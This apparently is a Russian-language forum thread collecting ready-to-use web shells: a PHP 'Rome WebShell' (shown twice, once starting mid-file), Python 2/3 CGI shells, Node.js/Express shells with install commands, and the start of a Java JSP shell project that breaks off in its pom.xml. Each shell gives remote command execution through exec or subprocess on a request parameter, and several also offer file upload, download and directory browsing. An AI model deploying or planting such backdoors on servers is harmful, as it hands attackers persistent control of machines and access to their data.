        else if( $mode & 0x4000 ) { $type='d'; }
        else if( $mode & 0x6000 ) { $type='b'; }
        else if( $mode & 0x8000 ) { $type='-'; }
        else if( $mode & 0xA000 ) { $type='l'; }
        else if( $mode & 0xC000 ) { $type='s'; }
        else $type='u';
        $owner["read"] = ($mode & 00400) ? 'r' : '-';
        $owner["write"] = ($mode & 00200) ? 'w' : '-';
        $owner["execute"] = ($mode & 00100) ? 'x' : '-';
        $group["read"] = ($mode & 00040) ? 'r' : '-';
        $group["write"] = ($mode & 00020) ? 'w' : '-';
        $group["execute"] = ($mode & 00010) ? 'x' : '-';
        $world["read"] = ($mode & 00004) ? 'r' : '-';
        $world["write"] = ($mode & 00002) ? 'w' : '-';
        $world["execute"] = ($mode & 00001) ? 'x' : '-';
        if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
        if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
        if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
        $s=sprintf("%1s", $type);
        $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
        $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
        $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
        return $s;
    }

    function formatSizeUnits($bytes) {
        if ($bytes >= 1073741824)
        {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        }
        elseif ($bytes >= 1048576)
        {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        }
        elseif ($bytes >= 1024)
        {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        }
        elseif ($bytes > 1)
        {
            $bytes = $bytes . ' bytes';
        }
        elseif ($bytes == 1)
        {
            $bytes = $bytes . ' byte';
        }
        else
        {
            $bytes = '0 bytes';
        }

        return $bytes;
    }


    function getDir() {
        return isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();
    }


    function makeFileName($file) {
        if (is_dir(getDir().'/'.$file)) {
            return '<a href="'.$_SERVER['PHP_SELF'].'?dir='.realpath(getDir().'/'.$file).'">'.$file.'</a>';
        } else {
            return '<a href="'.$_SERVER['PHP_SELF'].'?download='.realpath(getDir().'/'.$file).'">'.$file.'</a>';
        }
    }

    function getFiles() {
        $files = scandir(getDir());

        $even = true;
        if ($files != null) {
            foreach($files as $filename){
                //Simply print them out onto the screen.
                echo '<tr style="background-color:'.($even  ? '#515151' : '#414141').';">';
                echo '<td style="font-weight:'.(is_dir(getDir().'/'.$filename) ? 'bold' : 'thin').';">'.makeFileName($filename).'</td>'; 
                echo '<td>'.posix_getpwuid(fileowner(getDir().'/'.$filename))['name'].'</td>';
                echo '<td>'.printPerms(getDir().'/'.$filename).'</td>';
                echo '<td>'.formatSizeUnits(filesize(getDir().'/'.$filename)).'</td>';
                echo '</tr>';
                $even = !$even;
            }
        } else {
            echo "<p>Couldn't open that directory !";
        }
    }

    function getCmdResults() {
        global $cmdresults;
        global $retval;
        
        if ($retval == 0 ) {
            foreach ($cmdresults as $line) {
                echo "$line \n<br>";
            }
        } else {
            echo "Execution failed with error code: ".$retval;
        }    
    }

    function getCommandLine() {
        $hostname = gethostname() ?? 'none';
        $username = posix_getpwuid(posix_geteuid())['name'];
        $dir = getDir();
        $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'No command';

        return '<span style="color: #19c42a">'.$username.'@'.$hostname.'</span>: <span style="color: #0f7521">'.$dir.'</span>$ '.$cmd;
    }
?>


<?php 
    // Execute a command on the server
    $cmdresults;
    $retval=null;

    if (isset($_GET['cmd'])) {
        exec('cd '.realpath(getDir()).' && '.$_GET['cmd'], $cmdresults, $retval);
    }
?>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Rome WebShell</title>
        
        <script>
            function changeDir() {
                const url = '<?php echo $_SERVER['PHP_SELF'].'?dir='?>';
                const path = window.prompt("Enter the path you want to naviguate to (Eg: '/home/user'): ");

                if (path) window.location = (url + path);
            }
        </script>

        <script>
            const popupHTML = `
                <div class="popup-container" id="upload-popup">
                    <div class="popup">
                        <h4>Choose a file to upload</h4>
                        <form action="<?php echo $_SERVER['PHP_SELF'].'?dir='.getDir()?>" method="POST" enctype="multipart/form-data">
                            <input type="file" name='file' id='file' required>
                            <div class="popup-buttons">
                                <button type="button" onclick="hidePopup()">Cancel</button>
                                <input type="submit" value="Upload" name="upload">
                            </div>
                        </form>
                    </div>
                </div>
            `;
            function showPopup() {
                const body = document.getElementsByTagName('body')[0];
                const bodyHTML = body.innerHTML;

                body.innerHTML = popupHTML + bodyHTML;
            }

            function hidePopup() {
                const body = document.getElementsByTagName('body')[0];
                body.removeChild(body.getElementsByClassName('popup-container')[0]); 
            }
        </script>
    </head>
    <body class="body-container">   
        <header>
            <nav>
                <h1>> Rome Shell</h1>
                <div class="nav-items">
                    <a onclick="showPopup()">Upload file</a>
                    <a onclick="changeDir()">Change Directory</a>
                </div>
            </nav>
        </header>
        <div class="content-container">
            <div class="explorer-panel">
                <h4>Exploring: <?php echo getDir()?></h4>
                <table>
                    <tr style="background-color:#292929;">
                        <th>Folder / <span style="font-weight: lighter;">File</span></th>
                        <th>Owner</th>
                        <th>Permissions</th>
                        <th>Size</th>
                    </tr>
                    <?php getFiles()?>
                </table>
            </div>
            <div class="command-panel">
                <div class="command-output">
                    <p><?php echo getCommandLine()?></p>
                    <p><?php getCmdResults()?></p>
                </div>
                <form id="command-input" action="<?php echo $_SERVER['PHP_SELF']?>" method="get">
                    <input type="text" name="cmd">
                    <input type="hidden" name="dir" value="<?php echo getDir()?>"/>
                    <button action="submit">
                        <p>Send</p>
                    </button>
                </form>
            </div>
        </div>
        <style>

            :root {
                --background-color-1: #101010;
                --background-color-2: #202020;
                --background-color-3: #303030;
                --background-color-4: #404040;
                --primary-color: #0e9c15;
                --secondary-color: #0f7521;
            }

            html, body {
                width: 100%;
                height: 100%;
                margin: 0;
                padding: 0;
                background-color: var(--background-color-2);
                
            }

            .body-container {
                display: grid;
                grid-template-rows: 50px calc(100% - 50px);
            }

            header {
                z-index:1;
                background-color: var(--primary-color);
                box-shadow: 0px 2px 6px black;
            }

            header nav {
                height: 100%;
                display: flex;
                justify-content: flex-start;     
                color: white;
                font-family: Arial, Helvetica, sans-serif;  
            }

            header h1 {
                height: 100%;
                margin: 0;
                margin-left: 20px;
                text-align: center;
                line-height: 50px;
                font-size: 40px;
            }

            header .nav-items {
                height: 100%;
                width: auto;
                margin: 0;
                display: flex;
                flex-grow: 1;
                justify-content: flex-end;
            }

            header .nav-items a {
                height: 100%;
                margin-right: 30px;
                color: white;
                font-size: 25px;
                text-decoration: none;
                line-height: 50px;
                text-align:center;
                transition: ease-in 0.2s;     
            }

            header .nav-items a:hover {
                color: #d0d0d0;
                cursor: pointer;
            }

            .content-container {
                height: 100%;
                position: relative;
                display: grid;
                grid-template-columns: 30% 70%;       
            }

            .explorer-panel {
                background-color: var(--background-color-3);
                font-family: 'Trebuchet MS', 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif;
                overflow-y: scroll;
                scrollbar-color: var(--background-color-4) var(--background-color-3);
                scrollbar-width: thin;
                box-shadow: 0px 0px 4px black;
                padding: 3px;
            }

            .explorer-panel h4 {
                margin: 10px;
                font-size: 20px;
            }

            .explorer-panel table {
                width: 100%;
                word-wrap: break-word;
                border-spacing: 2px;
                table-layout: fixed;
                background-color: var(--background-color-2);
            }

            .explorer-panel table td {
                padding: 1px 2px;
            }

            .explorer-panel table a {
                color: var(--primary-color);
                text-decoration: none;         
            }

            .explorer-panel table a:hover {
                color: var(--secondary-color);
                transition: ease 0.2s;
            }

            .command-panel {    
                margin: 20px;
                padding: 15px;
                border-radius: 5px;
                background-color: var(--background-color-3);
                display: grid;
                grid-template-rows: 93% calc(7% - 15px);
                row-gap: 15px;
                box-shadow: 0px 0px 6px black;
            }

            .command-output {
                padding: 5px;
                border-radius: 5px;
                background-color: var(--background-color-1);              
                overflow-y: scroll;
                scrollbar-color: var(--background-color-4) var(--background-color-3);
                scrollbar-width: thin;
            }

            .command-output p {
                margin: 0px;
                font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
            }

            #command-input {
                display: grid;
                grid-template-columns: 89% 10%;
                grid-template-rows: 100%;
                column-gap: 1%;
            }

            #command-input input{
                height: 100%;
                width: 100%;
                border-radius: 5px;
                border: none;
                background-color: var(--background-color-2);        
                color: white;
                font-size: 200%;          
            }

            #command-input button{
                height: 100%;
                width: 100%;
                border: none;
                border-radius: 5px;
                background-color: var(--background-color-4);  
                cursor: pointer;
            }

            #command-input button:hover{
                background-color: var(--primary-color);
                transition: ease-in-out 0.3s;
            }

            #command-input button p{
                margin:0;
                color: white;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                font-size: 150%;
                font-weight: bolder;
                line-height: 100%;
            }


            .popup-container {
                z-index: 5;
                position: fixed;
                background-color: rgba(10,10,10, 0.6);
                width: 100%;
                height: 100%;
                display: grid;
                justify-content: center;
                align-content: center;
                grid-template-columns: 30%;
                grid-template-rows: 35%;
            }

            .popup {
                background-color: var(--background-color-3);
                border-radius: 5px;
                box-shadow: 0px 2px 6px black;
                display: grid;
                grid-template-rows: 20% 70%;
                row-gap: 10%;
                padding: 2.5%;
            }

            .popup h4{
                text-align: center;
                font-family: 'Courier New', Courier, monospace;
                font-size: 23px;
            }

            .popup form {
                display: grid;
                grid-template-rows: 80% 20%;
                grid-template-columns: 95%;
                justify-content: center;
                align-content: center;
            }

            .popup-buttons {
                height: 100%;
                display: inline-flex;
                flex-wrap: wrap;
                gap: 10%;
            }

            .popup-buttons button {
                width: 45%;
                background-color: var(--background-color-4);
                border-radius: 4px;;
                border: none;
                font-size: 22px;
                color: white;
                transition: ease-in 0.2s;
            }

            .popup-buttons button:hover {
                background-color: var(--background-color-2);
                cursor: pointer;            
            }

            .popup-buttons input {
                width: 45%;
                background-color: var(--primary-color);
                border-radius: 4px;;
                border: none;
                font-size: 22px;
                color: white;
                transition: ease-in 0.2s;
            }

            .popup-buttons input:hover {
                background-color: var(--secondary-color);
                cursor: pointer; 
            }
        </style>
    </body>
</html>

PHP:
<!-- 
    @author Caesarovich
    @repository https://github.com/Caesarovich/rome-webshell

    This code is for educationnal purposes only.
    Malicious usage of this code will not hold the author responsible.
    Do not pentest without explicit permissions.

-->



<?php
    // Password protection, useful for King of The Hill games
    $pass=''; // Set to null to disable; Set to string to enable, must be the sha512 hash of the password.


    if($pass != null) {
        if (isset($_COOKIE['pass'])) { // We use cookies and not url parameter for security reasons
            // As it is likely that URL parameters are logged by the webserver, thus revealing the password
            if (hash('sha512', $_COOKIE['pass']) !== $pass) {
                echo "Wrong password !";
                exit;
            }
        } else {
            echo "Wrong password !";
            exit;
        }
    }
?>

<?php
    // Upload file to the server
    if (isset($_POST['upload'])) {
        $desinationDir = getDir();
        $destinationFile = $desinationDir.'/'.basename($_FILES['file']['name']);

        if (file_exists($destinationFile)) {
            echo "<script>alert('Error: File already exists !')</script>";
        }
        else if (move_uploaded_file($_FILES['file']['tmp_name'], $destinationFile)) {
            echo "<script>alert('File uploaded successfuly !')</script>";
        } else {
            echo "<script>alert('Error: Could not upload file !')</script>";
        }
    
    }
?>

<?php
    // Download a file from the server
    if (isset($_GET['download'])) {
        $file = $_GET['download'];
        if (file_exists($file)) {
            if (is_readable($file)) {
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="'.basename($file).'"');
                header('Expires: 0');
                header('Cache-Control: must-revalidate');
                header('Pragma: public');
                header('Content-Length: '.filesize($file));
                readfile($file);
                exit;
            } else {
                echo "<script>alert('Error: Could not read the file !')</script>";
                exit;
            }
        }
    }
?>

<?php
    function printPerms($file) {
        $mode = fileperms($file);
        if( $mode & 0x1000 ) { $type='p'; }
        else if( $mode & 0x2000 ) { $type='c'; }
        else if( $mode & 0x4000 ) { $type='d'; }
        else if( $mode & 0x6000 ) { $type='b'; }
        else if( $mode & 0x8000 ) { $type='-'; }
        else if( $mode & 0xA000 ) { $type='l'; }
        else if( $mode & 0xC000 ) { $type='s'; }
        else $type='u';
        $owner["read"] = ($mode & 00400) ? 'r' : '-';
        $owner["write"] = ($mode & 00200) ? 'w' : '-';
        $owner["execute"] = ($mode & 00100) ? 'x' : '-';
        $group["read"] = ($mode & 00040) ? 'r' : '-';
        $group["write"] = ($mode & 00020) ? 'w' : '-';
        $group["execute"] = ($mode & 00010) ? 'x' : '-';
        $world["read"] = ($mode & 00004) ? 'r' : '-';
        $world["write"] = ($mode & 00002) ? 'w' : '-';
        $world["execute"] = ($mode & 00001) ? 'x' : '-';
        if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
        if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
        if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
        $s=sprintf("%1s", $type);
        $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
        $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
        $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
        return $s;
    }

    function formatSizeUnits($bytes) {
        if ($bytes >= 1073741824)
        {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        }
        elseif ($bytes >= 1048576)
        {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        }
        elseif ($bytes >= 1024)
        {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        }
        elseif ($bytes > 1)
        {
            $bytes = $bytes . ' bytes';
        }
        elseif ($bytes == 1)
        {
            $bytes = $bytes . ' byte';
        }
        else
        {
            $bytes = '0 bytes';
        }

        return $bytes;
    }


    function getDir() {
        return isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();
    }


    function makeFileName($file) {
        if (is_dir(getDir().'/'.$file)) {
            return '<a href="'.$_SERVER['PHP_SELF'].'?dir='.realpath(getDir().'/'.$file).'">'.$file.'</a>';
        } else {
            return '<a href="'.$_SERVER['PHP_SELF'].'?download='.realpath(getDir().'/'.$file).'">'.$file.'</a>';
        }
    }

    function getFiles() {
        $files = scandir(getDir());

        $even = true;
        if ($files != null) {
            foreach($files as $filename){
                //Simply print them out onto the screen.
                echo '<tr style="background-color:'.($even  ? '#515151' : '#414141').';">';
                echo '<td style="font-weight:'.(is_dir(getDir().'/'.$filename) ? 'bold' : 'thin').';">'.makeFileName($filename).'</td>'; 
                echo '<td>'.posix_getpwuid(fileowner(getDir().'/'.$filename))['name'].'</td>';
                echo '<td>'.printPerms(getDir().'/'.$filename).'</td>';
                echo '<td>'.formatSizeUnits(filesize(getDir().'/'.$filename)).'</td>';
                echo '</tr>';
                $even = !$even;
            }
        } else {
            echo "<p>Couldn't open that directory !";
        }
    }

    function getCmdResults() {
        global $cmdresults;
        global $retval;
        
        if ($retval == 0 ) {
            foreach ($cmdresults as $line) {
                echo "$line \n<br>";
            }
        } else {
            echo "Execution failed with error code: ".$retval;
        }    
    }

    function getCommandLine() {
        $hostname = gethostname() ?? 'none';
        $username = posix_getpwuid(posix_geteuid())['name'];
        $dir = getDir();
        $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'No command';

        return '<span style="color: #19c42a">'.$username.'@'.$hostname.'</span>: <span style="color: #0f7521">'.$dir.'</span>$ '.$cmd;
    }
?>


<?php 
    // Execute a command on the server
    $cmdresults;
    $retval=null;

    if (isset($_GET['cmd'])) {
        exec('cd '.realpath(getDir()).' && '.$_GET['cmd'], $cmdresults, $retval);
    }
?>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Rome WebShell</title>
        
        <script>
            function changeDir() {
                const url = '<?php echo $_SERVER['PHP_SELF'].'?dir='?>';
                const path = window.prompt("Enter the path you want to naviguate to (Eg: '/home/user'): ");

                if (path) window.location = (url + path);
            }
        </script>

        <script>
            const popupHTML = `
                <div class="popup-container" id="upload-popup">
                    <div class="popup">
                        <h4>Choose a file to upload</h4>
                        <form action="<?php echo $_SERVER['PHP_SELF'].'?dir='.getDir()?>" method="POST" enctype="multipart/form-data">
                            <input type="file" name='file' id='file' required>
                            <div class="popup-buttons">
                                <button type="button" onclick="hidePopup()">Cancel</button>
                                <input type="submit" value="Upload" name="upload">
                            </div>
                        </form>
                    </div>
                </div>
            `;
            function showPopup() {
                const body = document.getElementsByTagName('body')[0];
                const bodyHTML = body.innerHTML;

                body.innerHTML = popupHTML + bodyHTML;
            }

            function hidePopup() {
                const body = document.getElementsByTagName('body')[0];
                body.removeChild(body.getElementsByClassName('popup-container')[0]); 
            }
        </script>
    </head>
    <body class="body-container">   
        <header>
            <nav>
                <h1>> Rome Shell</h1>
                <div class="nav-items">
                    <a onclick="showPopup()">Upload file</a>
                    <a onclick="changeDir()">Change Directory</a>
                </div>
            </nav>
        </header>
        <div class="content-container">
            <div class="explorer-panel">
                <h4>Exploring: <?php echo getDir()?></h4>
                <table>
                    <tr style="background-color:#292929;">
                        <th>Folder / <span style="font-weight: lighter;">File</span></th>
                        <th>Owner</th>
                        <th>Permissions</th>
                        <th>Size</th>
                    </tr>
                    <?php getFiles()?>
                </table>
            </div>
            <div class="command-panel">
                <div class="command-output">
                    <p><?php echo getCommandLine()?></p>
                    <p><?php getCmdResults()?></p>
                </div>
                <form id="command-input" action="<?php echo $_SERVER['PHP_SELF']?>" method="get">
                    <input type="text" name="cmd">
                    <input type="hidden" name="dir" value="<?php echo getDir()?>"/>
                    <button action="submit">
                        <p>Send</p>
                    </button>
                </form>
            </div>
        </div>
        <style>

            :root {
                --background-color-1: #101010;
                --background-color-2: #202020;
                --background-color-3: #303030;
                --background-color-4: #404040;
                --primary-color: #0e9c15;
                --secondary-color: #0f7521;
            }

            html, body {
                width: 100%;
                height: 100%;
                margin: 0;
                padding: 0;
                background-color: var(--background-color-2);
                
            }

            .body-container {
                display: grid;
                grid-template-rows: 50px calc(100% - 50px);
            }

            header {
                z-index:1;
                background-color: var(--primary-color);
                box-shadow: 0px 2px 6px black;
            }

            header nav {
                height: 100%;
                display: flex;
                justify-content: flex-start;     
                color: white;
                font-family: Arial, Helvetica, sans-serif;  
            }

            header h1 {
                height: 100%;
                margin: 0;
                margin-left: 20px;
                text-align: center;
                line-height: 50px;
                font-size: 40px;
            }

            header .nav-items {
                height: 100%;
                width: auto;
                margin: 0;
                display: flex;
                flex-grow: 1;
                justify-content: flex-end;
            }

            header .nav-items a {
                height: 100%;
                margin-right: 30px;
                color: white;
                font-size: 25px;
                text-decoration: none;
                line-height: 50px;
                text-align:center;
                transition: ease-in 0.2s;     
            }

            header .nav-items a:hover {
                color: #d0d0d0;
                cursor: pointer;
            }

            .content-container {
                height: 100%;
                position: relative;
                display: grid;
                grid-template-columns: 30% 70%;       
            }

            .explorer-panel {
                background-color: var(--background-color-3);
                font-family: 'Trebuchet MS', 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif;
                overflow-y: scroll;
                scrollbar-color: var(--background-color-4) var(--background-color-3);
                scrollbar-width: thin;
                box-shadow: 0px 0px 4px black;
                padding: 3px;
            }

            .explorer-panel h4 {
                margin: 10px;
                font-size: 20px;
            }

            .explorer-panel table {
                width: 100%;
                word-wrap: break-word;
                border-spacing: 2px;
                table-layout: fixed;
                background-color: var(--background-color-2);
            }

            .explorer-panel table td {
                padding: 1px 2px;
            }

            .explorer-panel table a {
                color: var(--primary-color);
                text-decoration: none;         
            }

            .explorer-panel table a:hover {
                color: var(--secondary-color);
                transition: ease 0.2s;
            }

            .command-panel {    
                margin: 20px;
                padding: 15px;
                border-radius: 5px;
                background-color: var(--background-color-3);
                display: grid;
                grid-template-rows: 93% calc(7% - 15px);
                row-gap: 15px;
                box-shadow: 0px 0px 6px black;
            }

            .command-output {
                padding: 5px;
                border-radius: 5px;
                background-color: var(--background-color-1);              
                overflow-y: scroll;
                scrollbar-color: var(--background-color-4) var(--background-color-3);
                scrollbar-width: thin;
            }

            .command-output p {
                margin: 0px;
                font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
            }

            #command-input {
                display: grid;
                grid-template-columns: 89% 10%;
                grid-template-rows: 100%;
                column-gap: 1%;
            }

            #command-input input{
                height: 100%;
                width: 100%;
                border-radius: 5px;
                border: none;
                background-color: var(--background-color-2);        
                color: white;
                font-size: 200%;          
            }

            #command-input button{
                height: 100%;
                width: 100%;
                border: none;
                border-radius: 5px;
                background-color: var(--background-color-4);  
                cursor: pointer;
            }

            #command-input button:hover{
                background-color: var(--primary-color);
                transition: ease-in-out 0.3s;
            }

            #command-input button p{
                margin:0;
                color: white;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                font-size: 150%;
                font-weight: bolder;
                line-height: 100%;
            }


            .popup-container {
                z-index: 5;
                position: fixed;
                background-color: rgba(10,10,10, 0.6);
                width: 100%;
                height: 100%;
                display: grid;
                justify-content: center;
                align-content: center;
                grid-template-columns: 30%;
                grid-template-rows: 35%;
            }

            .popup {
                background-color: var(--background-color-3);
                border-radius: 5px;
                box-shadow: 0px 2px 6px black;
                display: grid;
                grid-template-rows: 20% 70%;
                row-gap: 10%;
                padding: 2.5%;
            }

            .popup h4{
                text-align: center;
                font-family: 'Courier New', Courier, monospace;
                font-size: 23px;
            }

            .popup form {
                display: grid;
                grid-template-rows: 80% 20%;
                grid-template-columns: 95%;
                justify-content: center;
                align-content: center;
            }

            .popup-buttons {
                height: 100%;
                display: inline-flex;
                flex-wrap: wrap;
                gap: 10%;
            }

            .popup-buttons button {
                width: 45%;
                background-color: var(--background-color-4);
                border-radius: 4px;;
                border: none;
                font-size: 22px;
                color: white;
                transition: ease-in 0.2s;
            }

            .popup-buttons button:hover {
                background-color: var(--background-color-2);
                cursor: pointer;            
            }

            .popup-buttons input {
                width: 45%;
                background-color: var(--primary-color);
                border-radius: 4px;;
                border: none;
                font-size: 22px;
                color: white;
                transition: ease-in 0.2s;
            }

            .popup-buttons input:hover {
                background-color: var(--secondary-color);
                cursor: pointer; 
            }
        </style>
    </body>
</html>

P.S.
Скорее всего, формат как-то трансформируется и перестроится. Как минимум, будут добавлены примеры шеллов. В последствии, каким-то образом рассортируем все что насобирается. Пока все скидываем в кучу.
 
Последнее редактирование:
Python Webshells

Важный момент, учитывайте особенности ОС для которой используете шелл. На Linux-сервере End-Of-Line представляет собой LF, Windows же CR LF. В ином случае вместо шелла получите 500-ю ошибку.

Simple Webshell

1742978940055.png


Версия для Python 3

Python:
#!/usr/bin/env python3

import cgi
import subprocess

import cgitb
cgitb.enable()

def run(command):
    if not command:
       raise Exception("Commande vide")
    else:
       p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
       p.wait()
       out, err = p.communicate()
       return out.decode('utf-8')

print("Content-Type: text/html")
print()
print("<html>")
print("<head>")
print("<title>Hello World</title>")
print("</head>")
print("<body>")
print("<form method='post' action='shell.py'>")
print("<input type='text' name='command' />")
print("<input type='submit' value='submit' />")
print("</form>")

form = cgi.FieldStorage()
if 'command' in form:
    cmd = form['command'].value
    print("<font face='monospace'>")
    print(f"$ {cmd}") 
    print("<br>")
    for i in run(cmd).split('\n'):
        print(i, "<br>")
    print("</font>")

print("</body>")
print("</html>")

Версия для Python 2

Python:
#!/usr/bin/env python

import cgi
import subprocess

import cgitb
cgitb.enable()

def run(command):
    if not command:
       raise Exception("Commande vide")
    else:
       p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
       p.wait()
       out, err = p.communicate()
       return out

print "Content-Type: text/html"
print
print "<html>"
print "<head>"
print "<title>Hello World</title>"
print "</head>"
print "<body>"
print "<form method='post' action='shell.py'>"
print "<input type='text' name='command' />"
print "<input type='submit' value='submit' />"
print "</form>"

form = cgi.FieldStorage()
if 'command' in form:
    cmd = form['command'].value
    print "<font face='monospace'>"
    print "$ %s" % cmd
    print "<br>"
    for i in run(cmd).split('\n'):
        print i, "<br>"
    print "</font>"

print "</body>"
print "</html>"
 
Последнее редактирование:
Node.js

Простейший вебшелл на Node.js+Express:

JavaScript:
const express = require('express');
const { exec } = require('child_process');
const app = express();
const PORT = 3000;
const PASSWORD = "secret123";

app.use(express.urlencoded({ extended: true }));

app.get('/', (req, res) => {
    if (req.query.pass !== PASSWORD) {
        return res.send("Access denied!");
    }
 
    exec(req.query.cmd, (err, stdout, stderr) => {
        if (err) return res.send(`Error: ${err.message}`);
        res.send(`<pre>${stdout || stderr}</pre>`);
    });
});

app.listen(PORT, () => console.log(`Shell running on http://localhost:${PORT}`));

JSON:
{
  "dependencies": {
    "express": "^5.1.0"
  }
}

1744001795995.png


angularcmd​


Исходник на github

Код:
angularcmd/
├── server.js
├── package.json
└── public/
    ├── index.css
    ├── index.html
    └── main.js

JavaScript:
var express     = require('express');
var app         = express();
var exec        = require('child_process').exec;


app.configure(function() {
    app.use(express.static(__dirname + '/public'));
    app.use(express.logger('dev'));
    app.use(express.bodyParser());         
    app.use(express.methodOverride());             
});

app.get("/exec", function (req, res) {
 
    var code = req.query['code'];
    var command = code;
    exec(command, function (error, stdout, stderr) {
        if (error === null) {
            res.header("Content-Type", "application/json");
            res.end(stdout);
            // res.end(stderr);
        }
        else{
            res.header("Content-Type", "application/json");
            // res.end(stdout);
            res.end(stderr);
        }
    });

});


app.get('*', function(req, res) {
    res.sendfile('./public/index.html');
});


app.listen(8080, function() {
    console.log('Visit... http://localhost:8080/');
});

JSON:
{
    "name": "angular-instagram",
    "version": "0.0.1",
    "description": "Simple MEAN App",
    "main": "server.js",
    "dependencies": {
        "express": "~3.x"
    }
}

CSS:
body {
    background-image: url("https://www.walldevil.com/wallpapers/a30/wallpapers-background-pclinuxos-linux-array2-ground-back.jpg");
    background-color: #cccccc;
}

.titulo{
    font-family:Courier;
     color: #CCCCCC;
}

.console {
      font-family:Courier;
     color: #CCCCCC;
      background: #000000;
      border: 3px double #CCCCCC;
      padding: 10px;
}

HTML:
<!doctype html>
<html lang="en" ng-app="angularInstagram">
 
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Cmd in a text box!</title>
        <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap.min.css">
        <link rel="stylesheet" type="text/css" href="index.css">
    </head>
 
    <body ng-controller="mainController">
 
        <div class="container">
            <div class="text-center titulo">
                <h1>Cmd in a text box!</h1>
            </div>
            <br><br><br>
            <div class="row">
                <div class="col-sm-8 col-sm-offset-2 text-center">
                    <form>
                        <div class="form-group">
                            <input type="text" class="form-control input-lg text-center console" placeholder="Insert your code" ng-model="code_">
                        </div>
                        <button class="btn btn-primary btn-lg" ng-click="submit()">Execute</button>
                        <br><br>
                        <textarea rows="10" class="text-center form-control input-lg console"  placeholder="Result" ng-model="result"></textarea>
                    </form>
                </div>
            </div>
        </div>
    
        <script src="//ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
        <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js"></script>
        <script src="main.js"></script>

    </body>

</html>

JavaScript:
angular.module('angularInstagram', []);

function mainController($scope, $http) {

    $scope.code_ = "ls";
    
    $scope.submit = function(){
    
        $http.get('/exec', { params:  {code: $scope.code_} } )
            .success(
                function(response) {
                    $scope.result = response;
                }
            )
            .error(
                function() {
                    console.log('Error');
                }
            );
    };

}

Установка и запуск:

Bash:
git clone https://github.com/ricardojoserf/nodejs_webshell.git
cd nodejs_webshell
npm i
node server.js

1744003066075.png


1744003095228.png
 
Последнее редактирование:
Java

pwn4jshell​

Проект Java Web Shell

Идея создания веб-оболочки с поддержкой старых версий Java.Сборка в jsp означает, что компиляция кода будет происходить на стороне сервера.с компилятором сервера, что упрощает и снижает вероятность столкнуться спроблемы совместимости.За исключением API... и синтаксиса все должно быть просто.

Код:
pwn4jshell/
├── pom.xml
└── src/
   └── main/
      └── webapp/
          ├── WEB-INF/
          │   └── web.xml
          └── shell.jsp

Требования к ПО:

JDK 1.7–1.8
Servlet API 2.3 (J2EE 1.3)
Tomcat 6.x-7.x, Jetty 7.x-8.x, WebLogic 10, WebSphere 7

Если нужны более свежие версии, то необходимо в pom.xml внести изменения:

Java:
<dependency>
  <groupId>javax.servlet</groupId>
  <artifactId>javax.servlet-api</artifactId>
  <version>3.1.0</version>
  <scope>provided</scope>
</dependency>

Тогда требования к ПО станут такими:

JDK 1.8+
Servlet API 3.1
Tomcat 8,5-10,x, Jetty 9.4.8+,WildFly 10+, GlassFish 4+.

1744005997892.png

1744006069554.png


XML:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>pwn4jshell</groupId>
  <artifactId>pwn4jshell</artifactId>
  <packaging>war</packaging>
  <version>1.0</version>
  <name>pwn4jshell Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <properties>
    <jetty-version>9.4.8.v20171121</jetty-version>
    <javaCompilerVersion>1.8</javaCompilerVersion>
  </properties>

  <dependencies>
    <!-- Servlet -->
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>servlet-api</artifactId>
      <version>2.3</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
  <build>
    <finalName>pwn4jshell</finalName>
    <plugins>
      <plugin>
        <groupId>org.eclipse.jetty</groupId>
